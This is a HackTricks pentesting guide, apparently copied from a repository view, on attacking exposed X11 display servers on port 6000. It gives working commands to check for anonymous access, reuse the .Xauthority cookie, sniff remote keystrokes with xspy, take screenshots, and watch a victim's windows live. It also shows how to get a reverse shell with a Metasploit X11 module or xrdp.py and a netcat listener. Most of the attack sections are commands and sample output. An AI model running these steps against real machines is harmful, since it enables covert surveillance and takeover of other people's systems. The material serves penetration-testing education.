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220 lines
8.1 KiB
Markdown
220 lines
8.1 KiB
Markdown
# 6000 - Pentesting X11
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
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Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
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**Hacking Insights**\
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Engage with content that delves into the thrill and challenges of hacking
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**Real-Time Hack News**\
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Keep up-to-date with fast-paced hacking world through real-time news and insights
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**Latest Announcements**\
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Stay informed with the newest bug bounties launching and crucial platform updates
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**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
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## Basic Information
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**X Window System** (X) is a versatile windowing system prevalent on UNIX-based operating systems. It provides a framework for creating graphical **user interfaces (GUIs)**, with individual programs handling the user interface design. This flexibility allows for diverse and customizable experiences within the X environment.
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**Default port:** 6000
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```
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PORT STATE SERVICE
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6000/tcp open X11
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```
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## Enumeration
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Check for **anonymous connection:**
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```bash
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nmap -sV --script x11-access -p <PORT> <IP>
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msf> use auxiliary/scanner/x11/open_x11
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```
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#### Local Enumeration
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The file **`.Xauthority`** in the users home folder is **used** by **X11 for authorization**. From [**here**](https://stackoverflow.com/a/37367518):
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```bash
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$ xxd ~/.Xauthority
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00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d ............0..M
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00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d IT-MAGIC-COOKIE-
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00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58 1...R.~..A.....X
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00000030: 041d ef ...
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```
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> MIT-magic-cookie-1: Generating 128bit of key (“cookie”), storing it in \~/.Xauthority (or where XAUTHORITY envvar points to). The client sends it to server plain! the server checks whether it has a copy of this “cookie” and if so, the connection is permitted. the key is generated by DMX.
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{% hint style="warning" %}
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In order to **use the cookie** you should set the env var: **`export XAUTHORITY=/path/to/.Xauthority`**
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{% endhint %}
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#### Local Enumeration Session
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```bash
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$ w
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23:50:48 up 1 day, 10:32, 1 user, load average: 0.29, 6.48, 7.12
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USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
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user tty7 :0 13Oct23 76days 13:37 2.20s xfce4-session
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```
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In the example, `localhost:0` was running xfce4-session.
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## Verfy Connection
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```bash
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xdpyinfo -display <ip>:<display>
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xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0
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```
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## Keyloggin
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[xspy](http://tools.kali.org/sniffingspoofing/xspy) to sniff the keyboard keystrokes.
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Sample Output:
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```
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xspy 10.9.xx.xx
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opened 10.9.xx.xx:0 for snoopng
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swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
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qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
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```
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## Screenshots capturing
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```bash
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xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
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convert screenshot.xwd screenshot.png
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```
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## Remote Desktop View
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Way from: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
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```
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./xrdp.py <IP:0>
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```
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Way from: [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
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First we need to find the ID of the window using xwininfo
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```
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xwininfo -root -display 10.9.xx.xx:0
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xwininfo: Window id: 0x45 (the root window) (has no name)
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Absolute upper-left X: 0
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Absolute upper-left Y: 0
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Relative upper-left X: 0
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Relative upper-left Y: 0
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Width: 1024
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Height: 768
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Depth: 16
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Visual: 0x21
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Visual Class: TrueColor
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Border width: 0
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Class: InputOutput
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Colormap: 0x20 (installed)
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Bit Gravity State: ForgetGravity
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Window Gravity State: NorthWestGravity
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Backing Store State: NotUseful
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Save Under State: no
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Map State: IsViewable
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Override Redirect State: no
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Corners: +0+0 -0+0 -0-0 +0-0
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-geometry 1024x768+0+0
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```
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**XWatchwin**
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For **live viewing** we need to use
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```bash
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./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
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./xwatchwin 10.9.xx.xx:0 -w 0x45
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```
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## Get Shell
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```
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msf> use exploit/unix/x11/x11_keyboard_exec
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```
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Other way:
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**Reverse Shell:** Xrdp also allows to take reverse shell via Netcat. Type in the following command:
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```bash
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./xrdp.py \<IP:0> –no-disp
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```
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In the interface you can see the **R-shell option**.
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Then, start a **Netcat listener** in your local system on port 5555.
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```bash
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nc -lvp 5555
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```
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Then, put your IP address and port in the **R-Shell** option and click on **R-shell** to get a shell
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## References
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* [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
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* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
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* [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
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## Shodan
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* `port:6000 x11`
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<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
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Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||
|
||
**Hacking Insights**\
|
||
Engage with content that delves into the thrill and challenges of hacking
|
||
|
||
**Real-Time Hack News**\
|
||
Keep up-to-date with fast-paced hacking world through real-time news and insights
|
||
|
||
**Latest Announcements**\
|
||
Stay informed with the newest bug bounties launching and crucial platform updates
|
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|
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**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
|
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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||
</details>
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{% endhint %}
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